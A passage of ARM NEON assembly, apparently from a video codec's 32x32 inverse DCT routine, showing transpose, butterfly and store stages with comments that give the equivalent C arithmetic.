vtrn.32 q5, q7
vtrn.16 q8, q9
vtrn.16 q10, q11
vtrn.16 q12, q13
vtrn.16 q14, q15
vtrn.16 q0, q1
vtrn.16 q2, q3
vtrn.16 q4, q5
vtrn.16 q6, q7
; Store both matrices after each other. There is a stride of 32, which
; adjusts to nothing because of the post-increments.
vst1.16 {q8}, [r0]!
vst1.16 {q9}, [r0]!
vst1.16 {q10}, [r0]!
vst1.16 {q11}, [r0]!
vst1.16 {q12}, [r0]!
vst1.16 {q13}, [r0]!
vst1.16 {q14}, [r0]!
vst1.16 {q15}, [r0]!
vst1.16 {q0}, [r0]!
vst1.16 {q1}, [r0]!
vst1.16 {q2}, [r0]!
vst1.16 {q3}, [r0]!
vst1.16 {q4}, [r0]!
vst1.16 {q5}, [r0]!
vst1.16 {q6}, [r0]!
vst1.16 {q7}, [r0]!
; increment pointers by adjusted stride (not necessary for r0/out)
; go back by 7*32 for the seven lines moved fully by read and add
; go back by 32 for the eigth line only read
; advance by 16*2 to go the next pair
sub r3, r3, #7*32*2 + 32 - 16*2
; transpose pair loop processing
subs r8, r8, #1
bne idct32_transpose_pair_loop
; restore r0/input to its original value
sub r0, r0, #32*8*2
; Instead of doing the transforms stage by stage, it is done by loading
; some input values and doing as many stages as possible to minimize the
; storing/loading of intermediate results. To fit within registers, the
; final coefficients are cut into four blocks:
; BLOCK A: 16-19,28-31
; BLOCK B: 20-23,24-27
; BLOCK C: 8-10,11-15
; BLOCK D: 0-3,4-7
; Blocks A and C are straight calculation through the various stages. In
; block B, further calculations are performed using the results from
; block A. In block D, further calculations are performed using the results
; from block C and then the final calculations are done using results from
; block A and B which have been combined at the end of block B.
; --------------------------------------------------------------------------
; BLOCK A: 16-19,28-31
; --------------------------------------------------------------------------
; generate 16,17,30,31
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[1 * 32] * cospi_31_64 - input[31 * 32] * cospi_1_64;
;temp2 = input[1 * 32] * cospi_1_64 + input[31 * 32] * cospi_31_64;
;step1b[16][i] = dct_const_round_shift(temp1);
;step1b[31][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 0, 1, 31
DO_BUTTERFLY_STD cospi_31_64, cospi_1_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[17 * 32] * cospi_15_64 - input[15 * 32] * cospi_17_64;
;temp2 = input[17 * 32] * cospi_17_64 + input[15 * 32] * cospi_15_64;
;step1b[17][i] = dct_const_round_shift(temp1);
;step1b[30][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 31, 17, 15
DO_BUTTERFLY_STD cospi_15_64, cospi_17_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 2
;step2[16] = step1b[16][i] + step1b[17][i];
;step2[17] = step1b[16][i] - step1b[17][i];
;step2[30] = -step1b[30][i] + step1b[31][i];
;step2[31] = step1b[30][i] + step1b[31][i];
vadd.s16 q4, q0, q1
vsub.s16 q13, q0, q1
vadd.s16 q6, q2, q3
vsub.s16 q14, q2, q3
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = step1b[30][i] * cospi_28_64 - step1b[17][i] * cospi_4_64;
;temp2 = step1b[30][i] * cospi_4_64 - step1b[17][i] * cospi_28_64;
;step3[17] = dct_const_round_shift(temp1);
;step3[30] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_28_64, cospi_4_64, d10, d11, d14, d15
; --------------------------------------------------------------------------
; generate 18,19,28,29
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[9 * 32] * cospi_23_64 - input[23 * 32] * cospi_9_64;
;temp2 = input[9 * 32] * cospi_9_64 + input[23 * 32] * cospi_23_64;
;step1b[18][i] = dct_const_round_shift(temp1);
;step1b[29][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 15, 9, 23
DO_BUTTERFLY_STD cospi_23_64, cospi_9_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[25 * 32] * cospi_7_64 - input[7 * 32] * cospi_25_64;
;temp2 = input[25 * 32] * cospi_25_64 + input[7 * 32] * cospi_7_64;
;step1b[19][i] = dct_const_round_shift(temp1);
;step1b[28][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 23, 25, 7
DO_BUTTERFLY_STD cospi_7_64, cospi_25_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 2
;step2[18] = -step1b[18][i] + step1b[19][i];
;step2[19] = step1b[18][i] + step1b[19][i];
;step2[28] = step1b[28][i] + step1b[29][i];
;step2[29] = step1b[28][i] - step1b[29][i];
vsub.s16 q13, q3, q2
vadd.s16 q3, q3, q2
vsub.s16 q14, q1, q0
vadd.s16 q2, q1, q0
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = step1b[18][i] * (-cospi_4_64) - step1b[29][i] * (-cospi_28_64);
;temp2 = step1b[18][i] * (-cospi_28_64) + step1b[29][i] * (-cospi_4_64);
;step3[29] = dct_const_round_shift(temp1);
;step3[18] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_4_64), (-cospi_28_64), d2, d3, d0, d1
; --------------------------------------------------------------------------
; combine 16-19,28-31
; --------------------------------------------------------------------------
; part of stage 4
;step1[16] = step1b[16][i] + step1b[19][i];
;step1[17] = step1b[17][i] + step1b[18][i];
;step1[18] = step1b[17][i] - step1b[18][i];
;step1[29] = step1b[30][i] - step1b[29][i];
;step1[30] = step1b[30][i] + step1b[29][i];
;step1[31] = step1b[31][i] + step1b[28][i];
vadd.s16 q8, q4, q2
vadd.s16 q9, q5, q0
vadd.s16 q10, q7, q1
vadd.s16 q15, q6, q3
vsub.s16 q13, q5, q0
vsub.s16 q14, q7, q1
STORE_IN_OUTPUT 0, 16, 31, q8, q15
STORE_IN_OUTPUT 31, 17, 30, q9, q10
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = step1b[29][i] * cospi_24_64 - step1b[18][i] * cospi_8_64;
;temp2 = step1b[29][i] * cospi_8_64 + step1b[18][i] * cospi_24_64;
;step2[18] = dct_const_round_shift(temp1);
;step2[29] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_24_64, cospi_8_64, d0, d1, d2, d3
STORE_IN_OUTPUT 30, 29, 18, q1, q0
; --------------------------------------------------------------------------
; part of stage 4
;step1[19] = step1b[16][i] - step1b[19][i];
;step1[28] = step1b[31][i] - step1b[28][i];
vsub.s16 q13, q4, q2
vsub.s16 q14, q6, q3
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = step1b[28][i] * cospi_24_64 - step1b[19][i] * cospi_8_64;
;temp2 = step1b[28][i] * cospi_8_64 + step1b[19][i] * cospi_24_64;
;step2[19] = dct_const_round_shift(temp1);
;step2[28] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_24_64, cospi_8_64, d8, d9, d12, d13
STORE_IN_OUTPUT 18, 19, 28, q4, q6
; --------------------------------------------------------------------------
; --------------------------------------------------------------------------
; BLOCK B: 20-23,24-27
; --------------------------------------------------------------------------
; generate 20,21,26,27
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[5 * 32] * cospi_27_64 - input[27 * 32] * cospi_5_64;
;temp2 = input[5 * 32] * cospi_5_64 + input[27 * 32] * cospi_27_64;
;step1b[20][i] = dct_const_round_shift(temp1);
;step1b[27][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 7, 5, 27
DO_BUTTERFLY_STD cospi_27_64, cospi_5_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[21 * 32] * cospi_11_64 - input[11 * 32] * cospi_21_64;
;temp2 = input[21 * 32] * cospi_21_64 + input[11 * 32] * cospi_11_64;
;step1b[21][i] = dct_const_round_shift(temp1);
;step1b[26][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 27, 21, 11
DO_BUTTERFLY_STD cospi_11_64, cospi_21_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 2
;step2[20] = step1b[20][i] + step1b[21][i];
;step2[21] = step1b[20][i] - step1b[21][i];
;step2[26] = -step1b[26][i] + step1b[27][i];
;step2[27] = step1b[26][i] + step1b[27][i];
vsub.s16 q13, q0, q1
vadd.s16 q0, q0, q1
vsub.s16 q14, q2, q3
vadd.s16 q2, q2, q3
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = step1b[26][i] * cospi_12_64 - step1b[21][i] * cospi_20_64;
;temp2 = step1b[26][i] * cospi_20_64 + step1b[21][i] * cospi_12_64;
;step3[21] = dct_const_round_shift(temp1);
;step3[26] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_12_64, cospi_20_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; generate 22,23,24,25
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[13 * 32] * cospi_19_64 - input[19 * 32] * cospi_13_64;
;temp2 = input[13 * 32] * cospi_13_64 + input[19 * 32] * cospi_19_64;
;step1b[22][i] = dct_const_round_shift(temp1);
;step1b[25][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 11, 13, 19
DO_BUTTERFLY_STD cospi_19_64, cospi_13_64, d10, d11, d14, d15
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[29 * 32] * cospi_3_64 - input[3 * 32] * cospi_29_64;
;temp2 = input[29 * 32] * cospi_29_64 + input[3 * 32] * cospi_3_64;
;step1b[23][i] = dct_const_round_shift(temp1);
;step1b[24][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 19, 29, 3
DO_BUTTERFLY_STD cospi_3_64, cospi_29_64, d8, d9, d12, d13
; --------------------------------------------------------------------------
; part of stage 2
;step2[22] = -step1b[22][i] + step1b[23][i];
;step2[23] = step1b[22][i] + step1b[23][i];
;step2[24] = step1b[24][i] + step1b[25][i];
;step2[25] = step1b[24][i] - step1b[25][i];
vsub.s16 q14, q4, q5
vadd.s16 q5, q4, q5
vsub.s16 q13, q6, q7
vadd.s16 q6, q6, q7
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = step1b[22][i] * (-cospi_20_64) - step1b[25][i] * (-cospi_12_64);
;temp2 = step1b[22][i] * (-cospi_12_64) + step1b[25][i] * (-cospi_20_64);
;step3[25] = dct_const_round_shift(temp1);
;step3[22] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_20_64), (-cospi_12_64), d8, d9, d14, d15
; --------------------------------------------------------------------------
; combine 20-23,24-27
; --------------------------------------------------------------------------
; part of stage 4
;step1[22] = step1b[22][i] + step1b[21][i];
;step1[23] = step1b[23][i] + step1b[20][i];
vadd.s16 q10, q7, q1
vadd.s16 q11, q5, q0
;step1[24] = step1b[24][i] + step1b[27][i];
;step1[25] = step1b[25][i] + step1b[26][i];
vadd.s16 q12, q6, q2
vadd.s16 q15, q4, q3
; --------------------------------------------------------------------------
; part of stage 6
;step3[16] = step1b[16][i] + step1b[23][i];
;step3[17] = step1b[17][i] + step1b[22][i];
;step3[22] = step1b[17][i] - step1b[22][i];
;step3[23] = step1b[16][i] - step1b[23][i];
LOAD_FROM_OUTPUT 28, 16, 17, q14, q13
vadd.s16 q8, q14, q11
vadd.s16 q9, q13, q10
vsub.s16 q13, q13, q10
vsub.s16 q11, q14, q11
STORE_IN_OUTPUT 17, 17, 16, q9, q8
; --------------------------------------------------------------------------
; part of stage 6
;step3[24] = step1b[31][i] - step1b[24][i];
;step3[25] = step1b[30][i] - step1b[25][i];
;step3[30] = step1b[30][i] + step1b[25][i];
;step3[31] = step1b[31][i] + step1b[24][i];
LOAD_FROM_OUTPUT 16, 30, 31, q14, q9
vsub.s16 q8, q9, q12
vadd.s16 q10, q14, q15
vsub.s16 q14, q14, q15
vadd.s16 q12, q9, q12
STORE_IN_OUTPUT 31, 30, 31, q10, q12
; --------------------------------------------------------------------------
; TODO(cd) do some register allocation change to remove these push/pop
vpush {q8} ; [24]
vpush {q11} ; [23]
; --------------------------------------------------------------------------
; part of stage 7
;temp1 = (step1b[25][i] - step1b[22][i]) * cospi_16_64;
;temp2 = (step1b[25][i] + step1b[22][i]) * cospi_16_64;
;step1[22] = dct_const_round_shift(temp1);
;step1[25] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d26, d27, d28, d29
STORE_IN_OUTPUT 31, 25, 22, q14, q13
; --------------------------------------------------------------------------
; part of stage 7
;temp1 = (step1b[24][i] - step1b[23][i]) * cospi_16_64;
;temp2 = (step1b[24][i] + step1b[23][i]) * cospi_16_64;
;step1[23] = dct_const_round_shift(temp1);
;step1[24] = dct_const_round_shift(temp2);
; TODO(cd) do some register allocation change to remove these push/pop
vpop {q13} ; [23]
vpop {q14} ; [24]
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d26, d27, d28, d29
STORE_IN_OUTPUT 22, 24, 23, q14, q13
; --------------------------------------------------------------------------
; part of stage 4
;step1[20] = step1b[23][i] - step1b[20][i];
;step1[27] = step1b[24][i] - step1b[27][i];
vsub.s16 q14, q5, q0
vsub.s16 q13, q6, q2
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = step1b[20][i] * (-cospi_8_64) - step1b[27][i] * (-cospi_24_64);
;temp2 = step1b[20][i] * (-cospi_24_64) + step1b[27][i] * (-cospi_8_64);
;step2[27] = dct_const_round_shift(temp1);
;step2[20] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_8_64), (-cospi_24_64), d10, d11, d12, d13
; --------------------------------------------------------------------------
; part of stage 4
;step1[21] = step1b[22][i] - step1b[21][i];
;step1[26] = step1b[25][i] - step1b[26][i];
vsub.s16 q14, q7, q1
vsub.s16 q13, q4, q3
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = step1b[21][i] * (-cospi_8_64) - step1b[26][i] * (-cospi_24_64);
;temp2 = step1b[21][i] * (-cospi_24_64) + step1b[26][i] * (-cospi_8_64);
;step2[26] = dct_const_round_shift(temp1);
;step2[21] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_8_64), (-cospi_24_64), d0, d1, d2, d3
; --------------------------------------------------------------------------
; part of stage 6
;step3[18] = step1b[18][i] + step1b[21][i];
;step3[19] = step1b[19][i] + step1b[20][i];
;step3[20] = step1b[19][i] - step1b[20][i];
;step3[21] = step1b[18][i] - step1b[21][i];
LOAD_FROM_OUTPUT 23, 18, 19, q14, q13
vadd.s16 q8, q14, q1
vadd.s16 q9, q13, q6
vsub.s16 q13, q13, q6
vsub.s16 q1, q14, q1
STORE_IN_OUTPUT 19, 18, 19, q8, q9
; --------------------------------------------------------------------------
; part of stage 6
;step3[27] = step1b[28][i] - step1b[27][i];
;step3[28] = step1b[28][i] + step1b[27][i];
;step3[29] = step1b[29][i] + step1b[26][i];
;step3[26] = step1b[29][i] - step1b[26][i];
LOAD_FROM_OUTPUT 19, 28, 29, q8, q9
vsub.s16 q14, q8, q5
vadd.s16 q10, q8, q5
vadd.s16 q11, q9, q0
vsub.s16 q0, q9, q0
STORE_IN_OUTPUT 29, 28, 29, q10, q11
; --------------------------------------------------------------------------
; part of stage 7
;temp1 = (step1b[27][i] - step1b[20][i]) * cospi_16_64;
;temp2 = (step1b[27][i] + step1b[20][i]) * cospi_16_64;
;step1[20] = dct_const_round_shift(temp1);
;step1[27] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d26, d27, d28, d29
STORE_IN_OUTPUT 29, 20, 27, q13, q14
; --------------------------------------------------------------------------
; part of stage 7
;temp1 = (step1b[26][i] - step1b[21][i]) * cospi_16_64;
;temp2 = (step1b[26][i] + step1b[21][i]) * cospi_16_64;
;step1[21] = dct_const_round_shift(temp1);
;step1[26] = dct_const_round_shift(temp2);
DO_BUTTERFLY d0, d1, d2, d3, cospi_16_64, cospi_16_64, d2, d3, d0, d1
STORE_IN_OUTPUT 27, 21, 26, q1, q0
; --------------------------------------------------------------------------
; --------------------------------------------------------------------------
; BLOCK C: 8-10,11-15
; --------------------------------------------------------------------------
; generate 8,9,14,15
; --------------------------------------------------------------------------
; part of stage 2
;temp1 = input[2 * 32] * cospi_30_64 - input[30 * 32] * cospi_2_64;
;temp2 = input[2 * 32] * cospi_2_64 + input[30 * 32] * cospi_30_64;
;step2[8] = dct_const_round_shift(temp1);
;step2[15] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 3, 2, 30
DO_BUTTERFLY_STD cospi_30_64, cospi_2_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 2
;temp1 = input[18 * 32] * cospi_14_64 - input[14 * 32] * cospi_18_64;
;temp2 = input[18 * 32] * cospi_18_64 + input[14 * 32] * cospi_14_64;
;step2[9] = dct_const_round_shift(temp1);
;step2[14] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 30, 18, 14
DO_BUTTERFLY_STD cospi_14_64, cospi_18_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 3
;step3[8] = step1b[8][i] + step1b[9][i];
;step3[9] = step1b[8][i] - step1b[9][i];
;step3[14] = step1b[15][i] - step1b[14][i];
;step3[15] = step1b[15][i] + step1b[14][i];
vsub.s16 q13, q0, q1
vadd.s16 q0, q0, q1
vsub.s16 q14, q2, q3
vadd.s16 q2, q2, q3
; --------------------------------------------------------------------------
; part of stage 4
;temp1 = step1b[14][i] * cospi_24_64 - step1b[9][i] * cospi_8_64;
;temp2 = step1b[14][i] * cospi_8_64 + step1b[9][i] * cospi_24_64;
;step1[9] = dct_const_round_shift(temp1);
;step1[14] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_24_64, cospi_8_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; generate 10,11,12,13
; --------------------------------------------------------------------------
; part of stage 2
;temp1 = input[10 * 32] * cospi_22_64 - input[22 * 32] * cospi_10_64;
;temp2 = input[10 * 32] * cospi_10_64 + input[22 * 32] * cospi_22_64;
;step2[10] = dct_const_round_shift(temp1);
;step2[13] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 14, 10, 22
DO_BUTTERFLY_STD cospi_22_64, cospi_10_64, d10, d11, d14, d15
; --------------------------------------------------------------------------
; part of stage 2
;temp1 = input[26 * 32] * cospi_6_64 - input[6 * 32] * cospi_26_64;
;temp2 = input[26 * 32] * cospi_26_64 + input[6 * 32] * cospi_6_64;
;step2[11] = dct_const_round_shift(temp1);
;step2[12] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 22, 26, 6
DO_BUTTERFLY_STD cospi_6_64, cospi_26_64, d8, d9, d12, d13
; --------------------------------------------------------------------------
; part of stage 3
;step3[10] = step1b[11][i] - step1b[10][i];
;step3[11] = step1b[11][i] + step1b[10][i];
;step3[12] = step1b[12][i] + step1b[13][i];
;step3[13] = step1b[12][i] - step1b[13][i];
vsub.s16 q14, q4, q5
vadd.s16 q5, q4, q5
vsub.s16 q13, q6, q7
vadd.s16 q6, q6, q7
; --------------------------------------------------------------------------
; part of stage 4
;temp1 = step1b[10][i] * (-cospi_8_64) - step1b[13][i] * (-cospi_24_64);
;temp2 = step1b[10][i] * (-cospi_24_64) + step1b[13][i] * (-cospi_8_64);
;step1[13] = dct_const_round_shift(temp1);
;step1[10] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_8_64), (-cospi_24_64), d8, d9, d14, d15
; --------------------------------------------------------------------------
; combine 8-10,11-15
; --------------------------------------------------------------------------
; part of stage 5
;step2[8] = step1b[8][i] + step1b[11][i];
;step2[9] = step1b[9][i] + step1b[10][i];
;step2[10] = step1b[9][i] - step1b[10][i];
vadd.s16 q8, q0, q5
vadd.s16 q9, q1, q7
vsub.s16 q13, q1, q7
;step2[13] = step1b[14][i] - step1b[13][i];
;step2[14] = step1b[14][i] + step1b[13][i];
;step2[15] = step1b[15][i] + step1b[12][i];
vsub.s16 q14, q3, q4
vadd.s16 q10, q3, q4
vadd.s16 q15, q2, q6
STORE_IN_OUTPUT 26, 8, 15, q8, q15
STORE_IN_OUTPUT 15, 9, 14, q9, q10
; --------------------------------------------------------------------------
; part of stage 6
;temp1 = (step1b[13][i] - step1b[10][i]) * cospi_16_64;
;temp2 = (step1b[13][i] + step1b[10][i]) * cospi_16_64;
;step3[10] = dct_const_round_shift(temp1);
;step3[13] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d2, d3, d6, d7
STORE_IN_OUTPUT 14, 13, 10, q3, q1
; --------------------------------------------------------------------------
; part of stage 5
;step2[11] = step1b[8][i] - step1b[11][i];
;step2[12] = step1b[15][i] - step1b[12][i];
vsub.s16 q13, q0, q5
vsub.s16 q14, q2, q6
; --------------------------------------------------------------------------
; part of stage 6
;temp1 = (step1b[12][i] - step1b[11][i]) * cospi_16_64;
;temp2 = (step1b[12][i] + step1b[11][i]) * cospi_16_64;
;step3[11] = dct_const_round_shift(temp1);
;step3[12] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d2, d3, d6, d7
STORE_IN_OUTPUT 10, 11, 12, q1, q3
; --------------------------------------------------------------------------
; --------------------------------------------------------------------------
; BLOCK D: 0-3,4-7
; --------------------------------------------------------------------------
; generate 4,5,6,7
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = input[4 * 32] * cospi_28_64 - input[28 * 32] * cospi_4_64;
;temp2 = input[4 * 32] * cospi_4_64 + input[28 * 32] * cospi_28_64;
;step3[4] = dct_const_round_shift(temp1);
;step3[7] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 6, 4, 28
DO_BUTTERFLY_STD cospi_28_64, cospi_4_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = input[20 * 32] * cospi_12_64 - input[12 * 32] * cospi_20_64;
;temp2 = input[20 * 32] * cospi_20_64 + input[12 * 32] * cospi_12_64;
;step3[5] = dct_const_round_shift(temp1);
;step3[6] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 28, 20, 12
DO_BUTTERFLY_STD cospi_12_64, cospi_20_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 4
;step1[4] = step1b[4][i] + step1b[5][i];
;step1[5] = step1b[4][i] - step1b[5][i];
;step1[6] = step1b[7][i] - step1b[6][i];
;step1[7] = step1b[7][i] + step1b[6][i];
vsub.s16 q13, q0, q1
vadd.s16 q0, q0, q1
vsub.s16 q14, q2, q3
vadd.s16 q2, q2, q3
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = (step1b[6][i] - step1b[5][i]) * cospi_16_64;
;temp2 = (step1b[5][i] + step1b[6][i]) * cospi_16_64;
;step2[5] = dct_const_round_shift(temp1);
;step2[6] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; generate 0,1,2,3
; --------------------------------------------------------------------------
; part of stage 4
;temp1 = (input[0 * 32] - input[16 * 32]) * cospi_16_64;
;temp2 = (input[0 * 32] + input[16 * 32]) * cospi_16_64;
;step1[1] = dct_const_round_shift(temp1);
;step1[0] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 12, 0, 16
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d10, d11, d14, d15
; --------------------------------------------------------------------------
; part of stage 4
;temp1 = input[8 * 32] * cospi_24_64 - input[24 * 32] * cospi_8_64;
;temp2 = input[8 * 32] * cospi_8_64 + input[24 * 32] * cospi_24_64;
;step1[2] = dct_const_round_shift(temp1);
;step1[3] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 16, 8, 24
DO_BUTTERFLY_STD cospi_24_64, cospi_8_64, d28, d29, d12, d13
; --------------------------------------------------------------------------
; part of stage 5
;step2[0] = step1b[0][i] + step1b[3][i];
;step2[1] = step1b[1][i] + step1b[2][i];
;step2[2] = step1b[1][i] - step1b[2][i];
;step2[3] = step1b[0][i] - step1b[3][i];
vadd.s16 q4, q7, q6
vsub.s16 q7, q7, q6
vsub.s16 q6, q5, q14
vadd.s16 q5, q5, q14
; --------------------------------------------------------------------------
; combine 0-3,4-7
; --------------------------------------------------------------------------
; part of stage 6
;step3[0] = step1b[0][i] + step1b[7][i];
;step3[1] = step1b[1][i] + step1b[6][i];
;step3[2] = step1b[2][i] + step1b[5][i];
;step3[3] = step1b[3][i] + step1b[4][i];
vadd.s16 q8, q4, q2
vadd.s16 q9, q5, q3
vadd.s16 q10, q6, q1
vadd.s16 q11, q7, q0
;step3[4] = step1b[3][i] - step1b[4][i];
;step3[5] = step1b[2][i] - step1b[5][i];
;step3[6] = step1b[1][i] - step1b[6][i];
;step3[7] = step1b[0][i] - step1b[7][i];
vsub.s16 q12, q7, q0
vsub.s16 q13, q6, q1
vsub.s16 q14, q5, q3
vsub.s16 q15, q4, q2
; --------------------------------------------------------------------------
; part of stage 7
;step1[0] = step1b[0][i] + step1b[15][i];
;step1[1] = step1b[1][i] + step1b[14][i];
;step1[14] = step1b[1][i] - step1b[14][i];
;step1[15] = step1b[0][i] - step1b[15][i];
LOAD_FROM_OUTPUT 12, 14, 15, q0, q1
vadd.s16 q2, q8, q1
vadd.s16 q3, q9, q0
vsub.s16 q4, q9, q0
vsub.s16 q5, q8, q1
; --------------------------------------------------------------------------
; part of final stage
;output[14 * 32] = step1b[14][i] + step1b[17][i];
;output[15 * 32] = step1b[15][i] + step1b[16][i];
;output[16 * 32] = step1b[15][i] - step1b[16][i];
;output[17 * 32] = step1b[14][i] - step1b[17][i];
LOAD_FROM_OUTPUT 15, 16, 17, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
cmp r5, #0
bgt idct32_bands_end_2nd_pass
idct32_bands_end_1st_pass
STORE_IN_OUTPUT 17, 16, 17, q6, q7
STORE_IN_OUTPUT 17, 14, 15, q8, q9
; --------------------------------------------------------------------------
; part of final stage
;output[ 0 * 32] = step1b[0][i] + step1b[31][i];
;output[ 1 * 32] = step1b[1][i] + step1b[30][i];
;output[30 * 32] = step1b[1][i] - step1b[30][i];
;output[31 * 32] = step1b[0][i] - step1b[31][i];
LOAD_FROM_OUTPUT 15, 30, 31, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_IN_OUTPUT 31, 30, 31, q6, q7
STORE_IN_OUTPUT 31, 0, 1, q4, q5
; --------------------------------------------------------------------------
; part of stage 7
;step1[2] = step1b[2][i] + step1b[13][i];
;step1[3] = step1b[3][i] + step1b[12][i];
;step1[12] = step1b[3][i] - step1b[12][i];
;step1[13] = step1b[2][i] - step1b[13][i];
LOAD_FROM_OUTPUT 1, 12, 13, q0, q1
vadd.s16 q2, q10, q1
vadd.s16 q3, q11, q0
vsub.s16 q4, q11, q0
vsub.s16 q5, q10, q1
; --------------------------------------------------------------------------
; part of final stage
;output[12 * 32] = step1b[12][i] + step1b[19][i];
;output[13 * 32] = step1b[13][i] + step1b[18][i];
;output[18 * 32] = step1b[13][i] - step1b[18][i];
;output[19 * 32] = step1b[12][i] - step1b[19][i];
LOAD_FROM_OUTPUT 13, 18, 19, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_IN_OUTPUT 19, 18, 19, q6, q7
STORE_IN_OUTPUT 19, 12, 13, q8, q9
; --------------------------------------------------------------------------
; part of final stage
;output[ 2 * 32] = step1b[2][i] + step1b[29][i];
;output[ 3 * 32] = step1b[3][i] + step1b[28][i];
;output[28 * 32] = step1b[3][i] - step1b[28][i];
;output[29 * 32] = step1b[2][i] - step1b[29][i];
LOAD_FROM_OUTPUT 13, 28, 29, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_IN_OUTPUT 29, 28, 29, q6, q7
STORE_IN_OUTPUT 29, 2, 3, q4, q5
; --------------------------------------------------------------------------
; part of stage 7
;step1[4] = step1b[4][i] + step1b[11][i];
;step1[5] = step1b[5][i] + step1b[10][i];
;step1[10] = step1b[5][i] - step1b[10][i];
;step1[11] = step1b[4][i] - step1b[11][i];
LOAD_FROM_OUTPUT 3, 10, 11, q0, q1
vadd.s16 q2, q12, q1
vadd.s16 q3, q13, q0
vsub.s16 q4, q13, q0
vsub.s16 q5, q12, q1
; --------------------------------------------------------------------------
; part of final stage
;output[10 * 32] = step1b[10][i] + step1b[21][i];
;output[11 * 32] = step1b[11][i] + step1b[20][i];
;output[20 * 32] = step1b[11][i] - step1b[20][i];
;output[21 * 32] = step1b[10][i] - step1b[21][i];
LOAD_FROM_OUTPUT 11, 20, 21, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_IN_OUTPUT 21, 20, 21, q6, q7
STORE_IN_OUTPUT 21, 10, 11, q8, q9
; --------------------------------------------------------------------------
; part of final stage
;output[ 4 * 32] = step1b[4][i] + step1b[27][i];
;output[ 5 * 32] = step1b[5][i] + step1b[26][i];
;output[26 * 32] = step1b[5][i] - step1b[26][i];
;output[27 * 32] = step1b[4][i] - step1b[27][i];
LOAD_FROM_OUTPUT 11, 26, 27, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_IN_OUTPUT 27, 26, 27, q6, q7
STORE_IN_OUTPUT 27, 4, 5, q4, q5
; --------------------------------------------------------------------------
; part of stage 7
